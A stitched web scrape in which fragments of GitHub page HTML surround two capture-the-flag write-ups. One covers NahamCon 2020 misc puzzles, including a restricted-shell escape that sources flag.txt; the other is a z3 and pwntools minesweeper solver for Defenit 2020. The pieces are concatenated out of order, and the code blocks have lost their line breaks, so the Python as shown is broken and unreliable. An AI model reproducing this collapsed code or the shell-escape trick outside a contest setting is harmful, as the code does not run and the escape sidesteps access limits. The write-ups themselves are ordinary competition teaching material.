<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
# Miscellaneous
## Vortex```Will you find the flag, or get lost in the vortex?
Connect here:nc jh2i.com 50017```
When we are connected, there is a lot of unreadable text:```nc jh2i.com 50017 | head�PϞ)m1e��/}=v/�()k+�>�(�,닥�W{�t��6�+S����8�=$��=ğ��Q��L����m=|w.�`#����P0ʼ�'hd���Q����R�+�%<�KK�zҷwD�?�0�1:�逝&�u�(�����d�Z'f��e��J���V���/씔���be�8rhr�wrDgQ,�����C���4��}�_��]t�Y�!�vY2���k��cS�O����#��O?[...]```
We can check if the flag is hidden inside:```$ nc jh2i.com 50017 | strings | grep flagflag{more_text_in_the_vortex}```
The flag is: `flag{more_text_in_the_vortex}`
## Fake File```Wait... where is the flag?
Connect here:nc jh2i.com 50026```
When we log in, we have access to a shell
```user@host:/home/user$ ls -lals -latotal 12dr-xr-xr-x 1 nobody nogroup 4096 Jun 12 17:08 .drwxr-xr-x 1 user user 4096 Jun 4 18:54 ..-rw-r--r-- 1 user user 52 Jun 12 17:08 ..```
There is a file named `..` but we can't cat it:```user@host:/home/user$ cat ..cat ..cat: ..: Is a directory```
We must select the file `..` and not the directory `..`, the command ` find` will help us:
```user@host:/home/user$ find . -type ffind . -type f./.. user@host:/home/user$ find . -type f -exec cat {} \;find . -type f -exec cat {} \;flag{we_should_have_been_worried_about_u2k_not_y2k}```
The flag is `flag{we_should_have_been_worried_about_u2k_not_y2k}`
## Alkatraz```We are so restricted here in Alkatraz. Can you help us break out?
Connect here:nc jh2i.com 50024```
When we log in, we have access to a restricted shell
With `ls`, we can see a file `flag.txt` in home directory, the flag can is inside
We can use `cat`, `less`, `more`, `head`, `tail` or `grep` to try to display its content...
But we can une `.` instruction lmao:```. flag.txtflag.txt: line 1: flag{congrats_you_just_escaped_alkatraz}: command not found```
The flag is: `flag{congrats_you_just_escaped_alkatraz}`
|
[original](https://gist.github.com/cwgreene/e4ca5404db149eb76afe0b3d804c738c)# Defenit 2020: minesweeper
So we're given a 16x16 minesweepr map, and need to beat it inunder a minute. Time to use z3!
Z3 is a Symmetric Modulo Theory (SMT) solver. Essentially, itis able to solve logic puzzles. Our approach is to parse the map,and for each number encode that as a constraint.
Parsing the map, we first
```pythondef parse_map(grid, bombmap): rows = bombmap.split("\n") rows = rows[2::2] counts = [] empties = [] for i, row in enumerate(rows[:-1]): row = row[row.index('|'):] rowcounts = row.split('|')[1:-1] for j, count in enumerate(rowcounts): if re.match(" *[0-9]+ *", count): # Numbers are not mines, direct z3 constraint BASE_CONSTRAINTS.append(grid[(i,j)]==0) # Constraints counts.append((i, j, int(count))) elif count == " ": empties.append((i,j)) return counts, empties```
Here we also state that if you are a number, than you're automaticallynot a mine (encoded as '0'). Setting the BASE_CONSTRAINTS here is a bit of a hack. It would have been better to do it in the construct_constraints,but I had forgotten to do it the first time round and I just wanted toensure that it was done.
The `counts` later get transformed into z3 constraints
```pythondef construct_constraint(grid, i, j, count): neighbor_sum = 0 for neighbor in neighbors(i,j): ix, jx = neighbor neighbor_sum += grid[(ix,jx)] return neighbor_sum == count```
We then need to find a safe square to choose. We pick one of theperimeter squares that is adjacent, and we test it. If we mark itas a mine, and it can't be, z3 will tell us this isn't satisfiable.This becomes one of our choices. Likewise, if it *must* be mine, we mark itas such. We track the known flags in a separate array FLAGGED.
```pythondef make_choice(grid, counts, empties): constraints = BASE_CONSTRAINTS[:] counted = set() for (i,j,count) in counts: counted.add((i,j)) constraints.append(construct_constraint(grid, i, j, count))
choices = [] safe = [] for e in empties: if not set(neighbors(*e)).intersection(counted): continue s = z3.Solver() s.add(*constraints) s.add(*FLAGGED) s.add(*safe) s.add(grid[e] == 1) check = s.check() if check == z3.unsat: choices.append(e) safe.append(grid[e]==0)
flaggable = [] for e in empties: if not set(neighbors(*e)).intersection(counted): continue s = z3.Solver() s.add(*constraints) s.add(*FLAGGED) s.add(grid[e] == 0) check = s.check() if check == z3.unsat: flaggable.append(e) FLAGGED.append(grid[e] == 1) return choices, set(flaggable)```
Then we just loop until victory.```python while True: print("Parsing...") counts, empties = parse_map(grid, bombmap) if not empties: break print("Thinking...") choices, flaggable = make_choice(grid, counts, empties) print("Thought!") for bomb in flaggable: print(convert(*bomb)+"f") r.sendline(convert(*bomb)+"f") bombmap = recv_map() print(bombmap) for choice in choices: print(convert(*choice)) r.sendline(convert(*choice)) bombmap = recv_map() print(bombmap) if not choices: print("Done!") break```
The first time I did this, I forgot the BASE_CONSTRAINTS. Surprisingly,the solver was still able to work out safe moves. However, it was muchslower. Putting the BASE_CONSTRAINTS in resulted in much faster solve times.
## Appendix A: Full code
```pythonfrom pwn import *
import reimport z3
r = remote("minesweeper.ctf.defenit.kr", 3333)
BASE_CONSTRAINTS = []FLAGGED = []
def init_grid(): grid = {} for i in range(16): for j in range(16): grid[(i,j)] = z3.Int("({},{})".format(i,j)) BASE_CONSTRAINTS.append(grid[(i,j)] >= 0) BASE_CONSTRAINTS.append(grid[(i,j)] <= 1) return grid
def recv_map(): print(r.recvuntil(' a')) bombmap = b" a"+ r.recvuntil('-\n\n') if b'X' in bombmap: print(str(bombmap, 'ascii')) print(str(r.recv(), 'ascii')) return str(bombmap, 'ascii')
def parse_map(grid, bombmap): rows = bombmap.split("\n") rows = rows[2::2] counts = [] empties = [] for i, row in enumerate(rows[:-1]): row = row[row.index('|'):] rowcounts = row.split('|')[1:-1] for j, count in enumerate(rowcounts): if re.match(" *[0-9]+ *", count): BASE_CONSTRAINTS.append(grid[(i,j)]==0) counts.append((i, j, int(count))) elif count == " ": empties.append((i,j)) return counts, empties
def convert(row, column): c = "abcdefghijklmnopqrst"[column] r = [str(i) for i in range(1,17)][row] return c+r
def neighbors(i,j): result = [] for x in [1,0,-1]: for y in [1,0,-1]: if x == 0 and y == 0: continue if (i + x >= 16) or (i + x < 0) or (j + y >= 16) or (j + y < 0): continue result.append((i+x, j+y)) return result
def construct_constraint(grid, i, j, count): neighbor_sum = 0 for neighbor in neighbors(i,j): ix, jx = neighbor neighbor_sum += grid[(ix,jx)] return neighbor_sum == count
def make_choice(grid, counts, empties): constraints = BASE_CONSTRAINTS[:] counted = set() for (i,j,count) in counts: counted.add((i,j)) constraints.append(construct_constraint(grid, i, j, count))
choices = [] safe = [] for e in empties: if not set(neighbors(*e)).intersection(counted): continue s = z3.Solver() s.add(*constraints) s.add(*FLAGGED) s.add(*safe) s.add(grid[e] == 1) check = s.check() if check == z3.unsat: choices.append(e) safe.append(grid[e]==0)
flaggable = [] for e in empties: if not set(neighbors(*e)).intersection(counted): continue s = z3.Solver() s.add(*constraints) s.add(*FLAGGED) s.add(grid[e] == 0) check = s.check() if check == z3.unsat: flaggable.append(e) FLAGGED.append(grid[e] == 1) return choices, set(flaggable)
def main(): grid = init_grid()
bombmap = recv_map() # choose 3 random spots to kick off. r.sendline("a5") bombmap = recv_map() r.sendline("n5") bombmap = recv_map() r.sendline("j12") bombmap = recv_map() print(bombmap) # main loop flagged = set() while True: print("Parsing...") counts, empties = parse_map(grid, bombmap) if not empties: break print("Thinking...") choices, flaggable = make_choice(grid, counts, empties) print("Thought!") for bomb in flaggable: print(convert(*bomb)+"f") r.sendline(convert(*bomb)+"f") bombmap = recv_map() print(bombmap) for choice in choices: print(convert(*choice)) r.sendline(convert(*choice)) bombmap = recv_map() print(bombmap) if not choices: print("Done!") break #for empty in (set(empties) - flaggable): # r.sendline(convert(*empty)+"f") #break r.interactive()
main()```
# References1. https://yurichev.com/blog/minesweeper/ |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>CTF-writeups/nahamcon-20/misc at master · noob-atbash/CTF-writeups · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="AFD4:380B:427FA53:43FE184:64121F4A" data-pjax-transient="true"/><meta name="html-safe-nonce" content="bdbcbacae1951e8ddea85dda17f5a4eb5d691f38223dc2b1cc51ef2029c78e60" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJBRkQ0OjM4MEI6NDI3RkE1Mzo0M0ZFMTg0OjY0MTIxRjRBIiwidmlzaXRvcl9pZCI6IjY0OTg3NDQ5NTc0NzM1Mjk2NzQiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="391c0e23759a19097664741dc2d9354de65de6fad3e70aa84e1bac17621cb421" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:268353024" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Things we learned from Capture The Flag hacking competitions we participated in - CTF-writeups/nahamcon-20/misc at master · noob-atbash/CTF-writeups"> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/ac342befed4cf97ff0c7ddb1fbb300107da46a3c7a8154cbd039537ba9d43827/noob-atbash/CTF-writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-writeups/nahamcon-20/misc at master · noob-atbash/CTF-writeups" /><meta name="twitter:description" content="Things we learned from Capture The Flag hacking competitions we participated in - CTF-writeups/nahamcon-20/misc at master · noob-atbash/CTF-writeups" /> <meta property="og:image" content="https://opengraph.githubassets.com/ac342befed4cf97ff0c7ddb1fbb300107da46a3c7a8154cbd039537ba9d43827/noob-atbash/CTF-writeups" /><meta property="og:image:alt" content="Things we learned from Capture The Flag hacking competitions we participated in - CTF-writeups/nahamcon-20/misc at master · noob-atbash/CTF-writeups" /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-writeups/nahamcon-20/misc at master · noob-atbash/CTF-writeups" /><meta property="og:url" content="https://github.com/noob-atbash/CTF-writeups" /><meta property="og:description" content="Things we learned from Capture The Flag hacking competitions we participated in - CTF-writeups/nahamcon-20/misc at master · noob-atbash/CTF-writeups" /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/noob-atbash/CTF-writeups git https://github.com/noob-atbash/CTF-writeups.git">
<meta name="octolytics-dimension-user_id" content="64429282" /><meta name="octolytics-dimension-user_login" content="noob-atbash" /><meta name="octolytics-dimension-repository_id" content="268353024" /><meta name="octolytics-dimension-repository_nwo" content="noob-atbash/CTF-writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="268353024" /><meta name="octolytics-dimension-repository_network_root_nwo" content="noob-atbash/CTF-writeups" />
<link rel="canonical" href="https://github.com/noob-atbash/CTF-writeups/tree/master/nahamcon-20/misc" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
